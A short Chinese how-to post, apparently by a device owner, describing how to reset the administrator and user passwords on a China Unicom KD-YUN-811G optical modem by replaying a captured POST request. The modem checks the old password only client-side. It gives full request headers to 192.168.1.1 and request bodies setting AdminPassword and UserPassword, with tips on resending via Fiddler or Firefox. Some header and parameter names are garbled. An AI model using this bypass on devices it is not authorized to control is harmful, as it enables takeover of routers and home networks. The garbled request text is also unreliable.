2023年6月27日发(作者：)

联通KD-YUN-811G光猫管理员密码js验证，然后直接POST改密码，所以只需要找到POST包，然后重新发送就能更改⽤户密码，不需要知道原始密码是什么。Request HeadersHost: 192.168.1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 82Origin: 192.168.1.1Connection: keep-aliveReferer: 192.168.1.1/rade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheRequest Bodya=set&x=InternetGatewayDevice.X_CU_assword&AdminPassword=123456a=set&x=InternetGatewayDevice.X_CU_ssword&UserPassword=123456这两个分别是更改管理员和⽤户的密码的请求，123456改成⾃⼰想改的密码。⾄于怎么发送POST包，可以⽤fiddler，也可以firefox。我的操作是先⾃⼰更改user的密码，然后抓到改密码的POST包，然后在firefox⾥Edit and Resend，然后把请求体相应参数改⼀下。

【2021.02.14更新】发现⼀篇⽂章，这种⽅法也可以，还简单